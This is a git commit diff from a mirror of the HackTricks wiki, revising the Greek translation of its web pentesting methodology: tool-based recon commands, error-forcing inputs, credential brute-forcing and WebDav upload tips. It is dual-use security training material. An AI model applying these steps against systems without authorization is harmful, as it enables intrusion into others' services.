mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
Translated ['src/pentesting-web/command-injection.md', 'src/network-serv
This commit is contained in:
parent
41f8281971
commit
751800a42b
@ -432,6 +432,7 @@
|
||||
- [H2 - Java SQL database](network-services-pentesting/pentesting-web/h2-java-sql-database.md)
|
||||
- [IIS - Internet Information Services](network-services-pentesting/pentesting-web/iis-internet-information-services.md)
|
||||
- [ImageMagick Security](network-services-pentesting/pentesting-web/imagemagick-security.md)
|
||||
- [Ispconfig](network-services-pentesting/pentesting-web/ispconfig.md)
|
||||
- [JBOSS](network-services-pentesting/pentesting-web/jboss.md)
|
||||
- [Jira & Confluence](network-services-pentesting/pentesting-web/jira.md)
|
||||
- [Joomla](network-services-pentesting/pentesting-web/joomla.md)
|
||||
|
@ -1,10 +1,10 @@
|
||||
# 80,443 - Μεθοδολογία Pentesting Web
|
||||
# 80,443 - Pentesting Web Methodology
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
## Βασικές Πληροφορίες
|
||||
|
||||
Η υπηρεσία ιστού είναι η πιο **συνηθισμένη και εκτενή υπηρεσία** και υπάρχουν πολλές **διαφορετικοί τύποι ευπαθειών**.
|
||||
Η υπηρεσία web είναι η πιο **συνηθισμένη και εκτεταμένη υπηρεσία** και υπάρχουν πολλοί **διαφορετικοί τύποι ευπαθειών**.
|
||||
|
||||
**Προεπιλεγμένη θύρα:** 80 (HTTP), 443(HTTPS)
|
||||
```bash
|
||||
@ -24,31 +24,31 @@ openssl s_client -connect domain.com:443 # GET / HTTP/1.0
|
||||
web-api-pentesting.md
|
||||
{{#endref}}
|
||||
|
||||
## Περίληψη Μεθοδολογίας
|
||||
## Περίληψη μεθοδολογίας
|
||||
|
||||
> Σε αυτή τη μεθοδολογία θα υποθέσουμε ότι θα επιτεθείτε σε ένα domain (ή υποdomain) και μόνο σε αυτό. Έτσι, θα πρέπει να εφαρμόσετε αυτή τη μεθοδολογία σε κάθε ανακαλυφθέν domain, υποdomain ή IP με ακαθόριστο web server εντός του πεδίου εφαρμογής.
|
||||
> Σε αυτή τη μεθοδολογία θα υποθέσουμε ότι πρόκειται να επιτεθείτε σε ένα domain (or subdomain) και μόνο αυτό. Άρα, θα πρέπει να εφαρμόσετε αυτή τη μεθοδολογία σε κάθε ανακαλυφθέν domain, subdomain ή IP με μη καθορισμένο web server εντός του scope.
|
||||
|
||||
- [ ] Ξεκινήστε με την **ταυτοποίηση** των **τεχνολογιών** που χρησιμοποιούνται από τον web server. Αναζητήστε **κόλπα** που να έχετε υπόψη σας κατά τη διάρκεια της υπόλοιπης δοκιμής αν μπορείτε να ταυτοποιήσετε επιτυχώς την τεχνολογία.
|
||||
- [ ] Υπάρχει κάποια **γνωστή ευπάθεια** της έκδοσης της τεχνολογίας;
|
||||
- [ ] Χρησιμοποιείτε κάποια **γνωστή τεχνολογία**; Υπάρχει κάποιο **χρήσιμο κόλπο** για να εξάγετε περισσότερες πληροφορίες;
|
||||
- [ ] Υπάρχει κάποιος **ειδικευμένος σαρωτής** που πρέπει να τρέξετε (όπως το wpscan);
|
||||
- [ ] Ξεκινήστε με **γενικούς σαρωτές**. Ποτέ δεν ξέρετε αν θα βρουν κάτι ή αν θα βρουν κάποιες ενδιαφέρουσες πληροφορίες.
|
||||
- [ ] Ξεκινήστε με τους **αρχικούς ελέγχους**: **robots**, **sitemap**, **σφάλμα 404** και **σάρωση SSL/TLS** (αν είναι HTTPS).
|
||||
- [ ] Ξεκινήστε **spidering** τη web σελίδα: Είναι ώρα να **βρείτε** όλα τα πιθανά **αρχεία, φακέλους** και **παραμέτρους που χρησιμοποιούνται.** Επίσης, ελέγξτε για **ειδικές ανακαλύψεις**.
|
||||
- [ ] _Σημειώστε ότι κάθε φορά που ανακαλύπτεται ένας νέος φάκελος κατά τη διάρκεια του brute-forcing ή του spidering, θα πρέπει να γίνει spidering._
|
||||
- [ ] **Brute-Forcing Διευθύνσεων**: Προσπαθήστε να κάνετε brute force σε όλους τους ανακαλυφθέντες φακέλους αναζητώντας νέα **αρχεία** και **διευθύνσεις**.
|
||||
- [ ] _Σημειώστε ότι κάθε φορά που ανακαλύπτεται ένας νέος φάκελος κατά τη διάρκεια του brute-forcing ή του spidering, θα πρέπει να γίνει Brute-Forced._
|
||||
- [ ] **Έλεγχος Αντιγράφων**: Δοκιμάστε αν μπορείτε να βρείτε **αντίγραφα** των **ανακαλυφθέντων αρχείων** προσθέτοντας κοινές επεκτάσεις αντιγράφων.
|
||||
- [ ] **Brute-Force παράμετροι**: Προσπαθήστε να **βρείτε κρυφές παραμέτρους**.
|
||||
- [ ] Μόλις έχετε **ταυτοποιήσει** όλες τις πιθανές **τελικές διευθύνσεις** που δέχονται **είσοδο χρήστη**, ελέγξτε για κάθε είδους **ευπάθειες** που σχετίζονται με αυτό.
|
||||
- [ ] [Ακολουθήστε αυτή τη λίστα ελέγχου](../../pentesting-web/web-vulnerabilities-methodology.md)
|
||||
- [ ] Ξεκινήστε με το **να αναγνωρίσετε** τις **technologies** που χρησιμοποιεί ο web server. Ψάξτε για **tricks** που πρέπει να έχετε υπόψη κατά τη διάρκεια του υπόλοιπου test αν καταφέρετε να αναγνωρίσετε την tech.
|
||||
- [ ] Υπάρχει κάποια **known vulnerability** στην έκδοση της technology;
|
||||
- [ ] Χρησιμοποιείται κάποια **well known tech**; Κάποιο **useful trick** για να εξάγετε περισσότερες πληροφορίες;
|
||||
- [ ] Υπάρχει κάποιος **specialised scanner** για να τρέξετε (όπως wpscan);
|
||||
- [ ] Εκτελέστε **general purposes scanners**. Δεν ξέρετε ποτέ αν θα βρουν κάτι ή αν θα αποκαλύψουν ενδιαφέρουσες πληροφορίες.
|
||||
- [ ] Ξεκινήστε με τους **initial checks**: **robots**, **sitemap**, **404** error και **SSL/TLS scan** (if HTTPS).
|
||||
- [ ] Ξεκινήστε **spidering** της σελίδας: Είναι ώρα να **βρείτε** όλα τα πιθανά **files, folders** και **parameters being used.** Επίσης, ελέγξτε για **special findings**.
|
||||
- [ ] _Σημειώστε ότι κάθε φορά που ανακαλύπτεται ένας νέος κατάλογος κατά το brute-forcing ή spidering, θα πρέπει να spidered._
|
||||
- [ ] **Directory Brute-Forcing**: Προσπαθήστε να brute force όλους τους ανακαλυφθέντες φακέλους αναζητώντας νέα **files** και **directories**.
|
||||
- [ ] _Σημειώστε ότι κάθε φορά που ανακαλύπτεται ένας νέος κατάλογος κατά το brute-forcing ή spidering, θα πρέπει να Brute-Forced._
|
||||
- [ ] **Backups checking**: Ελέγξτε αν μπορείτε να βρείτε **backups** των **ανακαλυφθέντων files** προσθέτοντας κοινές επεκτάσεις backup.
|
||||
- [ ] **Brute-Force parameters**: Προσπαθήστε να **βρείτε hidden parameters**.
|
||||
- [ ] Μόλις έχετε **identified** όλα τα πιθανά **endpoints** που δέχονται **user input**, ελέγξτε για κάθε είδους **vulnerabilities** που σχετίζονται με αυτά.
|
||||
- [ ] [Follow this checklist](../../pentesting-web/web-vulnerabilities-methodology.md)
|
||||
|
||||
## Έκδοση Server (Ευάλωτη;)
|
||||
## Έκδοση Server (Vulnerable?)
|
||||
|
||||
### Ταυτοποίηση
|
||||
### Αναγνώριση
|
||||
|
||||
Ελέγξτε αν υπάρχουν **γνωστές ευπάθειες** για την **έκδοση** του server που τρέχει.\
|
||||
Οι **HTTP κεφαλίδες και τα cookies της απάντησης** θα μπορούσαν να είναι πολύ χρήσιμα για να **ταυτοποιήσετε** τις **τεχνολογίες** και/ή την **έκδοση** που χρησιμοποιείται. Η **σάρωση Nmap** μπορεί να ταυτοποιήσει την έκδοση του server, αλλά θα μπορούσαν επίσης να είναι χρήσιμα τα εργαλεία [**whatweb**](https://github.com/urbanadventurer/WhatWeb)**,** [**webtech** ](https://github.com/ShielderSec/webtech)ή [**https://builtwith.com/**](https://builtwith.com)**:**
|
||||
Ελέγξτε αν υπάρχουν **known vulnerabilities** για την **version** του server που τρέχει.\
|
||||
Τα **HTTP headers and cookies της απάντησης** μπορεί να είναι πολύ χρήσιμα για να **identify** τις **technologies** και/ή την **version** που χρησιμοποιούνται. Το **Nmap scan** μπορεί να αναγνωρίσει την έκδοση του server, αλλά μπορεί επίσης να είναι χρήσιμα τα εργαλεία [**whatweb**](https://github.com/urbanadventurer/WhatWeb)**,** [**webtech** ](https://github.com/ShielderSec/webtech)or [**https://builtwith.com/**](https://builtwith.com)**:**
|
||||
```bash
|
||||
whatweb -a 1 <URL> #Stealthy
|
||||
whatweb -a 3 <URL> #Aggresive
|
||||
@ -57,15 +57,15 @@ webanalyze -host https://google.com -crawl 2
|
||||
```
|
||||
Search **for** [**vulnerabilities of the web application** **version**](../../generic-hacking/search-exploits.md)
|
||||
|
||||
### **Έλεγχος αν υπάρχει WAF**
|
||||
### **Check if any WAF**
|
||||
|
||||
- [**https://github.com/EnableSecurity/wafw00f**](https://github.com/EnableSecurity/wafw00f)
|
||||
- [**https://github.com/Ekultek/WhatWaf.git**](https://github.com/Ekultek/WhatWaf.git)
|
||||
- [**https://nmap.org/nsedoc/scripts/http-waf-detect.html**](https://nmap.org/nsedoc/scripts/http-waf-detect.html)
|
||||
|
||||
### Web tech tricks
|
||||
### Κόλπα Web τεχνολογιών
|
||||
|
||||
Ορισμένα **tricks** για **finding vulnerabilities** σε διάφορες γνωστές **τεχνολογίες** που χρησιμοποιούνται:
|
||||
Μερικά **κόλπα** για **εύρεση ευπαθειών** σε διάφορες γνωστές **τεχνολογίες** που χρησιμοποιούνται:
|
||||
|
||||
- [**AEM - Adobe Experience Cloud**](aem-adobe-experience-cloud.md)
|
||||
- [**Apache**](apache.md)
|
||||
@ -78,6 +78,7 @@ Search **for** [**vulnerabilities of the web application** **version**](../../ge
|
||||
- [**Golang**](golang.md)
|
||||
- [**GraphQL**](graphql.md)
|
||||
- [**H2 - Java SQL database**](h2-java-sql-database.md)
|
||||
- [**ISPConfig**](ispconfig.md)
|
||||
- [**IIS tricks**](iis-internet-information-services.md)
|
||||
- [**Microsoft SharePoint**](microsoft-sharepoint.md)
|
||||
- [**JBOSS**](jboss.md)
|
||||
@ -100,19 +101,19 @@ Search **for** [**vulnerabilities of the web application** **version**](../../ge
|
||||
- [**Wordpress**](wordpress.md)
|
||||
- [**Electron Desktop (XSS to RCE)**](electron-desktop-apps/index.html)
|
||||
|
||||
_Λάβετε υπόψη ότι το **ίδιο domain** μπορεί να χρησιμοποιεί **διαφορετικές τεχνολογίες** σε διαφορετικές **θύρες**, **φακέλους** και **subdomains**._\
|
||||
Αν η web εφαρμογή χρησιμοποιεί οποιαδήποτε γνωστή **tech/platform listed before** ή **οποιαδήποτε άλλη**, μην ξεχάσετε να **search on the Internet** νέες tricks (και ενημερώστε με!).
|
||||
_Λάβετε υπόψη ότι το **ίδιο domain** μπορεί να χρησιμοποιεί **διαφορετικές τεχνολογίες** σε διαφορετικές **ports**, **folders** και **subdomains**._\
|
||||
Εάν η web εφαρμογή χρησιμοποιεί κάποια γνωστή **tech/platform** από αυτές που αναφέρονται παραπάνω ή κάποια άλλη, μην ξεχάσετε να **αναζητήσετε στο Internet** νέα κόλπα (και ενημερώστε με!).
|
||||
|
||||
### Source Code Review
|
||||
### Ανασκόπηση πηγαίου κώδικα
|
||||
|
||||
Αν ο **source code** της εφαρμογής είναι διαθέσιμος στο **github**, εκτός από την εκτέλεση ενός **White box test** της εφαρμογής, υπάρχει **ορισμένες πληροφορίες** που θα μπορούσαν να είναι **χρήσιμες** για την τρέχουσα **Black-Box testing**:
|
||||
Αν ο **πηγαίος κώδικας** της εφαρμογής είναι διαθέσιμος στο **github**, εκτός από το να κάνετε εσείς ένα **White box test** της εφαρμογής, υπάρχουν **κάποιες πληροφορίες** που θα μπορούσαν να είναι **χρήσιμες** για το τρέχον **Black-Box testing**:
|
||||
|
||||
- Υπάρχει κάποιο **Change-log ή Readme ή Version** αρχείο ή οτιδήποτε με **version info accessible** μέσω web;
|
||||
- Πώς και πού αποθηκεύονται τα **credentials**; Υπάρχει κάποιο (προσιτό;) **αρχείο** με credentials (usernames ή passwords);
|
||||
- Είναι οι **κωδικοί πρόσβασης** σε **plain text**, **encrypted** ή ποια **hashing algorithm** χρησιμοποιείται;
|
||||
- Χρησιμοποιεί κάποιο **master key** για την κρυπτογράφηση κάποιου πράγματος; Ποια **algorithm** χρησιμοποιείται;
|
||||
- Μπορείτε να **access any of these files** εκμεταλλευόμενοι κάποια ευπάθεια;
|
||||
- Υπάρχει κάποια **interesting information in the github** (λυμένα και μη λυμένα) **issues**; Ή στην **commit history** (ίσως κάποιο **password introduced inside an old commit**);
|
||||
- Υπάρχει ένα **Change-log ή Readme ή Version** αρχείο ή οτιδήποτε με **version info accessible** μέσω web;
|
||||
- Πώς και πού αποθηκεύονται τα **credentials**; Υπάρχει κάποιο (προσβάσιμο;) **file** με credentials (usernames ή passwords);
|
||||
- Είναι τα **passwords** σε **plain text**, **encrypted** ή ποιος **hashing algorithm** χρησιμοποιείται;
|
||||
- Χρησιμοποιεί κάποιο **master key** για κρυπτογράφηση; Ποιος **algorithm** χρησιμοποιείται;
|
||||
- Μπορείτε να **έχετε πρόσβαση σε κάποιο από αυτά τα files** εκμεταλλευόμενοι κάποια ευπάθεια;
|
||||
- Υπάρχουν ενδιαφέρουσες πληροφορίες στο **github** (solved and not solved) **issues**; Ή στο **commit history** (ίσως κάποιο **password** εισήχθη σε παλιό commit)?
|
||||
|
||||
|
||||
{{#ref}}
|
||||
@ -133,12 +134,12 @@ nuclei -ut && nuclei -target <URL>
|
||||
# https://github.com/ignis-sec/puff (client side vulns fuzzer)
|
||||
node puff.js -w ./wordlist-examples/xss.txt -u "http://www.xssgame.com/f/m4KKGHi2rVUN/?query=FUZZ"
|
||||
```
|
||||
#### CMS scanners
|
||||
#### Σαρωτές CMS
|
||||
|
||||
Αν χρησιμοποιείται ένα CMS, μην ξεχάσετε να **τρέξετε έναν σαρωτή**, ίσως βρείτε κάτι ενδιαφέρον:
|
||||
Αν χρησιμοποιείται CMS, μην ξεχάσετε να **τρέξετε έναν σαρωτή**, ίσως βρεθεί κάτι ενδιαφέρον:
|
||||
|
||||
[**Clusterd**](https://github.com/hatRiot/clusterd)**:** [**JBoss**](jboss.md)**, ColdFusion, WebLogic,** [**Tomcat**](tomcat/index.html)**, Railo, Axis2, Glassfish**\
|
||||
[**CMSScan**](https://github.com/ajinabraham/CMSScan): [**WordPress**](wordpress.md), [**Drupal**](drupal/index.html), **Joomla**, **vBulletin** ιστοσελίδες για θέματα Ασφαλείας. (GUI)\
|
||||
[**CMSScan**](https://github.com/ajinabraham/CMSScan): [**WordPress**](wordpress.md), [**Drupal**](drupal/index.html), **Joomla**, **vBulletin** ιστότοποι για ζητήματα ασφάλειας. (GUI)\
|
||||
[**VulnX**](https://github.com/anouarbensaad/vulnx)**:** [**Joomla**](joomla.md)**,** [**Wordpress**](wordpress.md)**,** [**Drupal**](drupal/index.html)**, PrestaShop, Opencart**\
|
||||
**CMSMap**: [**(W)ordpress**](wordpress.md)**,** [**(J)oomla**](joomla.md)**,** [**(D)rupal**](drupal/index.html) **ή** [**(M)oodle**](moodle.md)\
|
||||
[**droopscan**](https://github.com/droope/droopescan)**:** [**Drupal**](drupal/index.html)**,** [**Joomla**](joomla.md)**,** [**Moodle**](moodle.md)**, Silverstripe,** [**Wordpress**](wordpress.md)
|
||||
@ -148,45 +149,45 @@ wpscan --force update -e --url <URL>
|
||||
joomscan --ec -u <URL>
|
||||
joomlavs.rb #https://github.com/rastating/joomlavs
|
||||
```
|
||||
> Σε αυτό το σημείο θα πρέπει ήδη να έχετε κάποιες πληροφορίες σχετικά με τον web server που χρησιμοποιεί ο πελάτης (αν έχουν δοθεί δεδομένα) και μερικά κόλπα που πρέπει να έχετε κατά νου κατά τη διάρκεια της δοκιμής. Αν είστε τυχεροί, έχετε βρει ακόμη και ένα CMS και έχετε τρέξει κάποιο scanner.
|
||||
> Σε αυτό το σημείο θα πρέπει να έχετε ήδη κάποιες πληροφορίες για τον web server που χρησιμοποιεί ο client (αν έχουν δοθεί δεδομένα) και μερικά κόλπα να έχετε κατά νου κατά τη διάρκεια του test. Αν είστε τυχεροί ίσως έχετε ακόμη βρει ένα CMS και έχετε τρέξει κάποιο scanner.
|
||||
|
||||
## Βήμα-βήμα Ανακάλυψη Εφαρμογής Ιστού
|
||||
## Βήμα-βήμα Web Application Discovery
|
||||
|
||||
> Από αυτό το σημείο θα αρχίσουμε να αλληλεπιδρούμε με την εφαρμογή ιστού.
|
||||
> Από εδώ και πέρα θα αρχίσουμε να αλληλεπιδρούμε με την web εφαρμογή.
|
||||
|
||||
### Αρχικές ελέγχοι
|
||||
### Αρχικοί έλεγχοι
|
||||
|
||||
**Προεπιλεγμένες σελίδες με ενδιαφέροντα στοιχεία:**
|
||||
**Προεπιλεγμένες σελίδες με ενδιαφέρουσες πληροφορίες:**
|
||||
|
||||
- /robots.txt
|
||||
- /sitemap.xml
|
||||
- /crossdomain.xml
|
||||
- /clientaccesspolicy.xml
|
||||
- /.well-known/
|
||||
- Ελέγξτε επίσης τα σχόλια στις κύριες και δευτερεύουσες σελίδες.
|
||||
- Ελέγξτε επίσης τα comments στις κύριες και δευτερεύουσες σελίδες.
|
||||
|
||||
**Εξαναγκασμός σφαλμάτων**
|
||||
**Προκαλώντας σφάλματα**
|
||||
|
||||
Οι web servers μπορεί να **συμπεριφέρονται απροσδόκητα** όταν τους αποστέλλονται περίεργα δεδομένα. Αυτό μπορεί να ανοίξει **ευπάθειες** ή **να αποκαλύψει ευαίσθητες πληροφορίες**.
|
||||
Οι web servers μπορεί να **συμπεριφέρονται απρόβλεπτα** όταν τους αποστέλλονται περίεργα δεδομένα. Αυτό μπορεί να ανοίξει **vulnerabilities** ή να αποκαλύψει ευαίσθητες πληροφορίες.
|
||||
|
||||
- Πρόσβαση σε **ψεύτικες σελίδες** όπως /whatever_fake.php (.aspx,.html,.κ.λπ.)
|
||||
- **Προσθέστε "\[]", "]]", και "\[\["** στις **τιμές cookie** και **τιμές παραμέτρων** για να δημιουργήσετε σφάλματα
|
||||
- Δημιουργήστε σφάλμα δίνοντας είσοδο ως **`/~randomthing/%s`** στο **τέλος** της **διεύθυνσης URL**
|
||||
- Πρόσβαση σε **fake pages** όπως /whatever_fake.php (.aspx,.html,.etc)
|
||||
- **Προσθέστε "\[]", "]]", και "\[\["** στα **cookie values** και **parameter** values για να δημιουργήσετε σφάλματα
|
||||
- Δημιουργήστε σφάλμα δίνοντας είσοδο ως **`/~randomthing/%s`** στο **τέλος** του **URL**
|
||||
- Δοκιμάστε **διαφορετικά HTTP Verbs** όπως PATCH, DEBUG ή λάθος όπως FAKE
|
||||
|
||||
#### **Ελέγξτε αν μπορείτε να ανεβάσετε αρχεία (**[**PUT verb, WebDav**](put-method-webdav.md)**)**
|
||||
|
||||
Αν διαπιστώσετε ότι το **WebDav** είναι **ενεργοποιημένο** αλλά δεν έχετε αρκετές άδειες για **ανέβασμα αρχείων** στον ριζικό φάκελο, προσπαθήστε να:
|
||||
Αν διαπιστώσετε ότι **WebDav** είναι **enabled** αλλά δεν έχετε αρκετά permissions για **uploading files** στον root folder δοκιμάστε να:
|
||||
|
||||
- **Brute Force** διαπιστευτήρια
|
||||
- **Ανεβάστε αρχεία** μέσω WebDav στους **υπόλοιπους** **βρεθέντες φακέλους** μέσα στην ιστοσελίδα. Μπορεί να έχετε άδειες να ανεβάσετε αρχεία σε άλλους φακέλους.
|
||||
- Εκτελέσετε **Brute Force** στα credentials
|
||||
- **Upload files** μέσω WebDav στους υπόλοιπους βρεθέντες folders μέσα στη σελίδα. Μπορεί να έχετε permissions να ανεβάσετε αρχεία σε άλλους φακέλους.
|
||||
|
||||
### **SSL/TLS ευπάθειες**
|
||||
### **SSL/TLS vulnerabilites**
|
||||
|
||||
- Αν η εφαρμογή **δεν αναγκάζει τον χρήστη σε HTTPS** σε κανένα σημείο, τότε είναι **ευάλωτη σε MitM**
|
||||
- Αν η εφαρμογή **αποστέλλει ευαίσθητα δεδομένα (κωδικούς πρόσβασης) χρησιμοποιώντας HTTP**. Τότε είναι μια υψηλή ευπάθεια.
|
||||
- Αν η εφαρμογή **isn't forcing the user of HTTPS** σε κανένα μέρος, τότε είναι **vulnerable to MitM**
|
||||
- Αν η εφαρμογή **is sending sensitive data (passwords) using HTTP**. Τότε είναι υψηλή ευπάθεια.
|
||||
|
||||
Χρησιμοποιήστε [**testssl.sh**](https://github.com/drwetter/testssl.sh) για να ελέγξετε για **ευπάθειες** (Στα προγράμματα Bug Bounty πιθανώς αυτές οι ευπάθειες δεν θα γίνουν αποδεκτές) και χρησιμοποιήστε [**a2sv** ](https://github.com/hahwul/a2sv) για να επανελέγξετε τις ευπάθειες:
|
||||
Χρησιμοποιήστε [**testssl.sh**](https://github.com/drwetter/testssl.sh) για ελέγχους για **vulnerabilities** (Σε Bug Bounty προγράμματα πιθανόν αυτό το είδος ευπαθειών να μην γίνεται αποδεκτό) και χρησιμοποιήστε [**a2sv**](https://github.com/hahwul/a2sv) για να επαληθεύσετε ξανά τις ευπαθειες:
|
||||
```bash
|
||||
./testssl.sh [--htmlfile] 10.10.10.10:443
|
||||
#Use the --htmlfile to save the output inside an htmlfile also
|
||||
@ -195,60 +196,60 @@ joomlavs.rb #https://github.com/rastating/joomlavs
|
||||
sslscan <host:port>
|
||||
sslyze --regular <ip:port>
|
||||
```
|
||||
Πληροφορίες σχετικά με τις ευπάθειες SSL/TLS:
|
||||
Information about SSL/TLS vulnerabilities:
|
||||
|
||||
- [https://www.gracefulsecurity.com/tls-ssl-vulnerabilities/](https://www.gracefulsecurity.com/tls-ssl-vulnerabilities/)
|
||||
- [https://www.acunetix.com/blog/articles/tls-vulnerabilities-attacks-final-part/](https://www.acunetix.com/blog/articles/tls-vulnerabilities-attacks-final-part/)
|
||||
|
||||
### Spidering
|
||||
|
||||
Εκκινήστε κάποιο είδος **spider** μέσα στο διαδίκτυο. Ο στόχος του spider είναι να **βρει όσο το δυνατόν περισσότερους δρόμους** από την εφαρμογή που δοκιμάζεται. Επομένως, θα πρέπει να χρησιμοποιηθούν web crawling και εξωτερικές πηγές για να βρουν όσο το δυνατόν περισσότερους έγκυρους δρόμους.
|
||||
Ξεκινήστε κάποιο είδος **spider** μέσα στο web. Ο στόχος του spider είναι να **βρει όσο το δυνατόν περισσότερα paths** από την εφαρμογή που ελέγχεται. Επομένως, web crawling και εξωτερικές πηγές πρέπει να χρησιμοποιηθούν για να βρεθούν όσο το δυνατόν περισσότερα έγκυρα paths.
|
||||
|
||||
- [**gospider**](https://github.com/jaeles-project/gospider) (go): HTML spider, LinkFinder σε αρχεία JS και εξωτερικές πηγές (Archive.org, CommonCrawl.org, VirusTotal.com, AlienVault.com).
|
||||
- [**hakrawler**](https://github.com/hakluke/hakrawler) (go): HML spider, με LinkFinder για αρχεία JS και Archive.org ως εξωτερική πηγή.
|
||||
- [**dirhunt**](https://github.com/Nekmo/dirhunt) (python): HTML spider, υποδεικνύει επίσης "juicy files".
|
||||
- [**evine** ](https://github.com/saeeddhqan/evine)(go): Διαδραστικός CLI HTML spider. Αναζητά επίσης στο Archive.org.
|
||||
- [**meg**](https://github.com/tomnomnom/meg) (go): Αυτό το εργαλείο δεν είναι spider αλλά μπορεί να είναι χρήσιμο. Μπορείτε απλώς να υποδείξετε ένα αρχείο με hosts και ένα αρχείο με paths και το meg θα ανακτήσει κάθε path σε κάθε host και θα αποθηκεύσει την απάντηση.
|
||||
- [**urlgrab**](https://github.com/IAmStoxe/urlgrab) (go): HTML spider με δυνατότητες JS rendering. Ωστόσο, φαίνεται ότι δεν συντηρείται, η προcompiled έκδοση είναι παλιά και ο τρέχων κώδικας δεν συντάσσεται.
|
||||
- [**gau**](https://github.com/lc/gau) (go): HTML spider που χρησιμοποιεί εξωτερικούς παρόχους (wayback, otx, commoncrawl).
|
||||
- [**ParamSpider**](https://github.com/devanshbatham/ParamSpider): Αυτό το script θα βρει URLs με παραμέτρους και θα τα καταγράψει.
|
||||
- [**galer**](https://github.com/dwisiswant0/galer) (go): HTML spider με δυνατότητες JS rendering.
|
||||
- [**LinkFinder**](https://github.com/GerbenJavado/LinkFinder) (python): HTML spider, με δυνατότητες JS beautify ικανές να αναζητούν νέους δρόμους σε αρχεία JS. Θα ήταν επίσης χρήσιμο να ρίξετε μια ματιά στο [JSScanner](https://github.com/dark-warlord14/JSScanner), το οποίο είναι ένα wrapper του LinkFinder.
|
||||
- [**goLinkFinder**](https://github.com/0xsha/GoLinkFinder) (go): Για την εξαγωγή endpoints τόσο από HTML πηγή όσο και από ενσωματωμένα αρχεία javascript. Χρήσιμο για bug hunters, red teamers, infosec ninjas.
|
||||
- [**JSParser**](https://github.com/nahamsec/JSParser) (python2.7): Ένα script python 2.7 που χρησιμοποιεί Tornado και JSBeautifier για να αναλύσει σχετικές URLs από αρχεία JavaScript. Χρήσιμο για την εύκολη ανακάλυψη AJAX requests. Φαίνεται ότι δεν συντηρείται.
|
||||
- [**relative-url-extractor**](https://github.com/jobertabma/relative-url-extractor) (ruby): Δίνοντας ένα αρχείο (HTML) θα εξάγει URLs από αυτό χρησιμοποιώντας έξυπνες κανονικές εκφράσεις για να βρει και να εξάγει τις σχετικές URLs από άσχημα (minify) αρχεία.
|
||||
- [**JSFScan**](https://github.com/KathanP19/JSFScan.sh) (bash, διάφορα εργαλεία): Συγκεντρώνει ενδιαφέρουσες πληροφορίες από αρχεία JS χρησιμοποιώντας διάφορα εργαλεία.
|
||||
- [**subjs**](https://github.com/lc/subjs) (go): Βρείτε αρχεία JS.
|
||||
- [**page-fetch**](https://github.com/detectify/page-fetch) (go): Φορτώστε μια σελίδα σε έναν headless browser και εκτυπώστε όλες τις URLs που φορτώθηκαν για να φορτώσετε τη σελίδα.
|
||||
- [**Feroxbuster**](https://github.com/epi052/feroxbuster) (rust): Εργαλείο ανακάλυψης περιεχομένου που συνδυάζει πολλές επιλογές από τα προηγούμενα εργαλεία.
|
||||
- [**Javascript Parsing**](https://github.com/xnl-h4ck3r/burp-extensions): Μια επέκταση Burp για να βρείτε paths και params σε αρχεία JS.
|
||||
- [**Sourcemapper**](https://github.com/denandz/sourcemapper): Ένα εργαλείο που δίνοντας το URL .js.map θα σας δώσει τον beautified JS κώδικα.
|
||||
- [**xnLinkFinder**](https://github.com/xnl-h4ck3r/xnLinkFinder): Αυτό είναι ένα εργαλείο που χρησιμοποιείται για την ανακάλυψη endpoints για έναν δεδομένο στόχο.
|
||||
- [**waymore**](https://github.com/xnl-h4ck3r/waymore)**:** Ανακαλύψτε συνδέσμους από τη μηχανή wayback (κατεβάζοντας επίσης τις απαντήσεις στη μηχανή wayback και αναζητώντας περισσότερους συνδέσμους).
|
||||
- [**HTTPLoot**](https://github.com/redhuntlabs/HTTPLoot) (go): Crawl (ακόμα και συμπληρώνοντας φόρμες) και επίσης βρείτε ευαίσθητες πληροφορίες χρησιμοποιώντας συγκεκριμένες regexes.
|
||||
- [**SpiderSuite**](https://github.com/3nock/SpiderSuite): Το Spider Suite είναι ένα προηγμένο multi-feature GUI web security Crawler/Spider σχεδιασμένο για επαγγελματίες κυβερνοασφάλειας.
|
||||
- [**jsluice**](https://github.com/BishopFox/jsluice) (go): Είναι ένα πακέτο Go και [εργαλείο γραμμής εντολών](https://github.com/BishopFox/jsluice/blob/main/cmd/jsluice) για την εξαγωγή URLs, paths, μυστικών και άλλων ενδιαφέροντων δεδομένων από τον πηγαίο κώδικα JavaScript.
|
||||
- [**ParaForge**](https://github.com/Anof-cyber/ParaForge): Το ParaForge είναι μια απλή **επέκταση Burp Suite** για **να εξάγει τις παραμέτρους και τα endpoints** από το αίτημα για να δημιουργήσει προσαρμοσμένες λίστες λέξεων για fuzzing και αρίθμηση.
|
||||
- [**katana**](https://github.com/projectdiscovery/katana) (go): Καταπληκτικό εργαλείο για αυτό.
|
||||
- [**Crawley**](https://github.com/s0rg/crawley) (go): Εκτυπώνει κάθε σύνδεσμο που μπορεί να βρει.
|
||||
- [**gospider**](https://github.com/jaeles-project/gospider) (go): HTML spider, LinkFinder in JS files and external sources (Archive.org, CommonCrawl.org, VirusTotal.com, AlienVault.com).
|
||||
- [**hakrawler**](https://github.com/hakluke/hakrawler) (go): HML spider, with LinkFider for JS files and Archive.org as external source.
|
||||
- [**dirhunt**](https://github.com/Nekmo/dirhunt) (python): HTML spider, also indicates "juicy files".
|
||||
- [**evine** ](https://github.com/saeeddhqan/evine)(go): Interactive CLI HTML spider. It also searches in Archive.org
|
||||
- [**meg**](https://github.com/tomnomnom/meg) (go): This tool isn't a spider but it can be useful. You can just indicate a file with hosts and a file with paths and meg will fetch each path on each host and save the response.
|
||||
- [**urlgrab**](https://github.com/IAmStoxe/urlgrab) (go): HTML spider with JS rendering capabilities. However, it looks like it's unmaintained, the precompiled version is old and the current code doesn't compile
|
||||
- [**gau**](https://github.com/lc/gau) (go): HTML spider that uses external providers (wayback, otx, commoncrawl)
|
||||
- [**ParamSpider**](https://github.com/devanshbatham/ParamSpider): This script will find URLs with parameter and will list them.
|
||||
- [**galer**](https://github.com/dwisiswant0/galer) (go): HTML spider with JS rendering capabilities.
|
||||
- [**LinkFinder**](https://github.com/GerbenJavado/LinkFinder) (python): HTML spider, with JS beautify capabilities capable of search new paths in JS files. It could be worth it also take a look to [JSScanner](https://github.com/dark-warlord14/JSScanner), which is a wrapper of LinkFinder.
|
||||
- [**goLinkFinder**](https://github.com/0xsha/GoLinkFinder) (go): To extract endpoints in both HTML source and embedded javascript files. Useful for bug hunters, red teamers, infosec ninjas.
|
||||
